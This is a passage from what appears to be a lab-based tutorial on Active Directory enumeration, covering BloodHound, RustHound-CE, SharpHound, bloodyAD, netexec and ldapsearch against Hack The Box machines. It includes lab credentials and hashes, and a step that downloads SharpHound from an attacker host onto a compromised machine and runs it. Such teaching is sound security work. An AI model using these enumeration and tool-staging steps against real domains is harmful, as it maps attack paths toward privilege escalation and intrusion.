        Write Property Enroll           : PING.HTB\Domain Admins
                                          PING.HTB\Domain Users
                                          PING.HTB\Enterprise Admins
    [+] User Enrollable Principals      : PING.HTB\Domain Users
    [!] Vulnerabilities
      ESC13                             : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.

For tips on how to exploit the various ESC attacks, the Certipy Wiki is a fantastic resource.

BloodHound

Background

BloodHound is a tool from SpecterOps for mapping the relationships in an Active Directory domain. Objects like users, groups, computers, and GPOs are nodes in a graph, and the relationships between them are the edges. Some edges are simple, like a user being a member of a group. Others are permissions that can be abused, like a user with GenericAll over another user, or a group that can read a gMSA password.

The value in BloodHound is seeing how the permissions chain together. It can be very hard to spot looking at raw LDAP data, and it jumps right out in the graph.

There are two parts. A collector pulls the data from the domain, mostly over LDAP, and saves it as JSON files, typically in a Zip archive. Then I’ll upload that archive into the BloodHound application, which loads it into a graph database and provides a web GUI for searching and running queries.

The current version is BloodHound Community Edition (CE), which replaced the original (now called BloodHound Legacy) in 2023. The data formats are different, so the collector has to match the version of BloodHound that will ingest it.

Collection

To collect the data, there are many collectors out there. From Linux, I have been using RustHound-CE a lot lately. For example, on HTB: Checkpoint (in this case using Kerberos auth):

oxdf@hacky$ kinit alex.turner
Password for alex.turner@CHECKPOINT.HTB: 
oxdf@hacky$ rusthound-ce --domain checkpoint.htb -k -f DC01.checkpoint.htb --zip
---------------------------------------------------
Initializing RustHound-CE at 19:42:14 on 10/17/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-10-17T19:42:14Z INFO  rusthound_ce] Verbosity level: Info
[2026-10-17T19:42:14Z INFO  rusthound_ce] Collection method: All
[2026-10-17T19:42:14Z INFO  rusthound_ce::ldap] Connected to CHECKPOINT.HTB Active Directory!
[2026-10-17T19:42:14Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-10-17T19:42:14Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-10-17T19:42:14Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=checkpoint,DC=htb
[2026-10-17T19:42:14Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-10-17T19:42:15Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=checkpoint,DC=htb
[2026-10-17T19:42:15Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-10-17T19:42:16Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=checkpoint,DC=htb
[2026-10-17T19:42:16Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-10-17T19:42:16Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=checkpoint,DC=htb
[2026-10-17T19:42:16Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-10-17T19:42:16Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=checkpoint,DC=htb
[2026-10-17T19:42:16Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-10-17T19:42:16Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::maker::common] 18 users parsed!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::maker::common] 70 groups parsed!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::maker::common] 1 computer parsed!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::maker::common] 8 ous parsed!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::maker::common] 1 domains parsed!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2026-10-17T19:42:16Z INFO  rusthound_ce::json::maker::common] .//20261017194216_checkpoint-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 19:42:16 on 10/17/26! Happy Graphing!

netexec has a collector built in as well (shown on HTB: Certificate):

oxdf@hacky$ netexec ldap dc01.certificate.htb -u sara.b -p Blink182 --bloodhound -c ALL --dns-server 10.10.11.71
LDAP        10.10.11.71     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb) (signing:None) (channel binding:Never)
LDAP        10.10.11.71     389    DC01             [+] certificate.htb\sara.b:Blink182 
LDAP        10.10.11.71     389    DC01             Resolved collection methods: localadmin, group, trusts, psremote, container, acl, rdp, session, dcom, objectprops
LDAP        10.10.11.71     389    DC01             Done in 0M 18S
LDAP        10.10.11.71     389    DC01             Compressing output into /home/oxdf/.nxc/logs/DC01_10.10.11.71_2025-06-06_174832_bloodhound.zip

There is also a stand-alone Python collector, BloodHound.py. The default branch only produces data for BloodHound Legacy, so for CE I’ll need the bloodhound-ce branch.

If I don’t have credentials, but have a shell on a Windows host as an Active Directory user, I can run the Windows SharpHound.exe collector (as I showed on HTB: Eighteen):

evil-winrm-py PS C:\programdata> wget http://10.10.14.61/SharpHound.exe -outfile sh.exe
evil-winrm-py PS C:\programdata> .\sh.exe -c all
2026-04-08T21:29:20.4954961-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-04-08T21:29:20.6978229-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-04-08T21:29:20.7463509-07:00|INFORMATION|Initializing SharpHound at 9:29 PM on 4/8/2026
2026-04-08T21:29:20.9056006-07:00|INFORMATION|Resolved current domain to eighteen.htb
2026-04-08T21:29:32.2257883-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-04-08T21:29:32.3529066-07:00|INFORMATION|Beginning LDAP search for eighteen.htb
2026-04-08T21:29:32.5552238-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5552238-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5592428-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5750573-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5750573-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5770674-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5888660-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5908777-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5986566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6026769-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6066952-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6087047-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6169943-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.1505273-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.1545472-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3464017-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3544474-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3662566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3662566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3800713-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3938881-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3958989-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4077009-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4097139-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4255439-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4255439-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4393527-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4393527-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4511501-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4531614-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4652206-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4669713-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4770168-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4790242-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4888140-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5224631-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5264815-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5561036-07:00|INFORMATION|Beginning LDAP search for eighteen.htb Configuration NC
2026-04-08T21:29:33.8642771-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8662871-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8763324-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8841144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9064530-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9157376-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9157376-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9197550-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9631787-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9631787-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9651861-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9651861-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9671941-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:35.5950257-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-04-08T21:29:35.7319068-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-04-08T21:29:41.5232250-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2026-04-08T21:29:41.5568987-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2026-04-08T21:29:41.7104926-07:00|INFORMATION|Status: 318 objects finished (+318 35.33333)/s -- Using 69 MB RAM
2026-04-08T21:29:41.7104926-07:00|INFORMATION|Enumeration finished in 00:00:09.3744354
2026-04-08T21:29:41.8059605-07:00|INFORMATION|Saving cache with stats: 17 ID to type mappings.
 0 name to SID mappings.
 1 machine sid mappings.
 3 sid to domain mappings.
 0 global catalog mappings.
2026-04-08T21:29:41.8458122-07:00|INFORMATION|SharpHound Enumeration Completed at 9:29 PM on 4/8/2026! Happy Graphing!

Typically any user can see the same information about the domain, so most times it isn’t necessary to re-collect BloodHound data from each new compromised user. That said, there are rare occasions where a different user can see more, so it isn’t crazy to recollect when the next step isn’t obvious.

Graph Installation

I like to use the Docker Compose setup that SpecterOps provides. It runs three containers, the BloodHound application, a Postgres database for the application data, and a Neo4j database for the graph. The only requirement is Docker with the Compose plugin.

I’ll make a directory for it and download the docker-compose.yml file from the BloodHound GitHub repo:

oxdf@hacky$ mkdir /opt/BloodHound-CE-docker && cd /opt/BloodHound-CE-docker
oxdf@hacky$ curl -sLO https://raw.githubusercontent.com/SpecterOps/BloodHound/main/examples/docker-compose/docker-compose.yml

To start it, I’ll run docker compose up from that directory, setting BLOODHOUND_PORT to change the port the web GUI listens on:

oxdf@hacky$ BLOODHOUND_PORT=8888 docker compose up

I set the port to 8888 because by default it runs on 8080, which is also where my Burp Proxy listens.

The first run will take a few minutes to pull the images. This runs in the foreground, showing the logs from all three containers. Adding -d will run it in the background instead.

On the very first start, BloodHound generates a random password for the admin user and prints it in the logs. If I missed it (or started with -d), I can find it with:

oxdf@hacky$ docker compose logs bloodhound | grep -i "initial password"

The GUI is at http://localhost:8888/ui/login. I’ll log in as admin with that password, and it will force me to set a new one.

To stop it, I’ll Ctrl-c in the terminal where it’s running, or from another terminal in the same directory:

oxdf@hacky$ docker compose down

The data is stored in Docker volumes, so it will still be there the next time I start it.

To update to the latest version, I’ll pull the new images and start it again:

oxdf@hacky$ docker compose pull

Graph Analysis

Outbound Control

I’ll upload the zip output from the BloodHound collector at Administration -> File Ingest -> Upload File(s).

Then (after giving it a few seconds to load), I’ll find users I’ve compromised in the search:

BloodHound search tab with j.ar typed in, matching J.ARBUCKLE@GARFIELD.HTB

I can right click on the node and select “Add to owned”, and it will now display with a skull:

BloodHound user node for J.ARBUCKLE@GARFIELD.HTB with the skull icon marking it as owned

Clicking on an object will bring up the sidebar with details:

BloodHound sidebar showing Object Information for L.WILSON_ADM@GARFIELD.HTB

The primary thing I look for is Outbound Object Control, and clicking on it updates the graph:

BloodHound graph after clicking Outbound Object Control for L.WILSON_ADM, showing ForceChangePassword over RODC01 and membership in Tier 1, which has AddSelf over RODC Administrators

Clicking on an edge such as AddSelf provides details and exploitation instructions (typically from both Windows and Linux):

BloodHound edge details for AddSelf from Tier 1 to RODC Administrators, with the Linux Abuse section expanded

Cypher

The Cypher tab at the top allows for putting in custom Cypher queries. This is the query language for the backend Neo4j database behind BloodHound. For example, in HTB: PingPong I’ll show the connection between an ADCS certificate template and a group linked by IssuancePolicy:

BloodHound Cypher query linking certificate templates to groups through issuance policies, showing TemporaryWinRM extended by the WinRM issuance policy, which links to the TempWinRMAccess group

There are also many pre-drafted “Saved Queries”:

BloodHound Cypher tab showing the Saved Queries list for Active Directory

Writable Objects

bloodyAD has a get writable command that will find all the objects that the authenticated user has some kind of write permission over. This will find ACEs that may not show up as an edge in BloodHound Collection.

The standard AD user will have four items show up:

oxdf@hacky$ KRB5CCNAME=c.roberts.ccache bloodyAD --host DC1.ping.htb -d ping.htb -k get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=ping,DC=htb
permission: WRITE

distinguishedName: CN=C.Roberts,CN=Users,DC=ping,DC=htb
permission: WRITE

distinguishedName: DC=ping.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.ping.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
  • CN=S-1-5-11,CN=ForeignSecurityPrincipals: S-1-5-11 is Authenticated Users. bloodyAD reports this object as writable on almost every domain.
  • CN=C.Roberts,CN=Users: By default, users can edit some attributes on their own account (personal information, phone numbers and similar) through SELF permissions.
  • The ping.htb and _msdcs.ping.htb DNS zones (CREATE_CHILD): by default, any authenticated user can create new DNS records in AD-integrated zones. It’s the basis of ADIDNS spoofing or relay tricks, but it isn’t a misconfiguration.

If anything else shows up, it’s worth investigating. Seeing WRITE permission doesn’t give details about what the user can write on that object. The --detail flag will show each attribute that can be written. The output can be quite long, but the interesting parts can be useful. For example, from HTB: Haze:

oxdf@hacky$ bloodyAD --host DC01.haze.htb -d haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=haze,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=Mark Adams,CN=Users,DC=haze,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
...[snip]...

distinguishedName: CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
msDS-GroupMSAMembership: WRITE

Object Enumeration

To see everything on a single object, netexec has --query, which takes an LDAP filter and a list of attributes to return. An empty string for the attributes returns all of them. For example, in HTB: Scepter:

oxdf@hacky$ netexec ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --query "(sAMAccountName=h.brown)" ""
LDAP        10.10.11.65     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
LDAP        10.10.11.65     389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
LDAP        10.10.11.65     389    DC01             [+] Response for object: CN=h.brown,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             objectClass          top
LDAP        10.10.11.65     389    DC01                                  person
LDAP        10.10.11.65     389    DC01                                  organizationalPerson
LDAP        10.10.11.65     389    DC01                                  user
LDAP        10.10.11.65     389    DC01             cn                   h.brown
...[snip]...
LDAP        10.10.11.65     389    DC01             memberOf             CN=CMS,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Protected Users,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htb
...[snip]...
LDAP        10.10.11.65     389    DC01             userAccountControl   66048
...[snip]...
LDAP        10.10.11.65     389    DC01             sAMAccountName       h.brown
LDAP        10.10.11.65     389    DC01             sAMAccountType       805306368
LDAP        10.10.11.65     389    DC01             userPrincipalName    h.brown@scepter.htb
LDAP        10.10.11.65     389    DC01             objectCategory       CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             altSecurityIdentities X509:<RFC822>h.brown@scepter.htb
...[snip]...

I’m looking for anything that isn’t on a default user. Here it’s the altSecurityIdentities attribute, which ends up being the key to the next step.

bloodyAD does the same thing with get object, which takes a sAMAccountName or a full distinguished name. The output can be quite verbose. When I know what I’m looking for, --attr limits the output to just that attribute, such as here in HTB: Scepter:

oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 get object h.brown --attr altSecurityIdentities

distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb

I can also just fall back on grep such as in HTB: Mirage, where I am interested in the disabled status of an account:

oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object javier.mmarshall | grep -a -e userAccountControl -e logonHours
logonHours: 
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

Without Creds

Everything above assumes I have a valid account on the domain. Without one, there’s typically not much LDAP will give, but it’s a quick check, and when it does work it can provide a full list of users or more.

With no auth a domain controller will return some basic information about itself, including the naming contexts, which gives the base DN for the domain. ldapsearch with -x for simple authentication (and no username or password, making it an anonymous bind) and -s base will ask about the root of the directory:

oxdf@hacky$ ldapsearch -H ldap://dc01.manager.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=manager,DC=htb
namingcontexts: CN=Configuration,DC=manager,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
namingcontexts: DC=DomainDnsZones,DC=manager,DC=htb
namingcontexts: DC=ForestDnsZones,DC=manager,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

The first one, DC=manager,DC=htb, is the domain.

With the base DN, I’ll try to dump everything under it using -b. Most of the time, it returns an error saying that it requires auth:

oxdf@hacky$ ldapsearch -H ldap://dc01.manager.htb -x -b "DC=manager,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=manager,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CF4, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

Rarely the domain is configured to allow anonymous access, and the same command returns every object. netexec can do the same thing with an empty username and password. In HTB: Baby, that returns all the objects in the domain:

oxdf@hacky$ netexec ldap BABYDC.baby.vl -u '' -p '' --query "(objectClass=*)" "" | grep "Response for object:"
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Administrator,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Guest,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=krbtgt,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Domain Computers,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Domain Controllers,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Schema Admins,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Domain Admins,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Domain Users,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Domain Guests,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Protected Users,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Key Admins,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Enterprise Key Admins,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=dev,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Hugh George,OU=dev,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Ian Walker,OU=dev,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=it,CN=Users,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Teresa Bell,OU=it,DC=baby,DC=vl
LDAP                     10.129.20.55    389    BABYDC           [+] Response for object: CN=Caroline Robinson,OU=it,DC=baby,DC=vl

From there, all the same things I look for with creds apply, especially passwords in descriptions and other odd attributes.

ldapsearch works with creds as well, using -D for the user and -w for the password, followed by an optional filter and list of attributes to return:

oxdf@hacky$ ldapsearch -x -H ldap://overwatch.htb -D 'sqlsvc@overwatch.htb' -w 'TI0LKcfHzZw1Vv' -b 'DC=overwatch,DC=htb' '(sAMAccountName=sqlmgmt)' memberOf
# extended LDIF
#
# LDAPv3
# base <DC=overwatch,DC=htb> with scope subtree
# filter: (sAMAccountName=sqlmgmt)
# requesting: memberOf 
#

# sqlmgmt, Users, overwatch.htb
dn: CN=sqlmgmt,CN=Users,DC=overwatch,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=overwatch,DC=htb
...[snip]...

In general I find netexec or bloodyAD more useful and easier to use, but knowing basic ldapsearch syntax can be useful.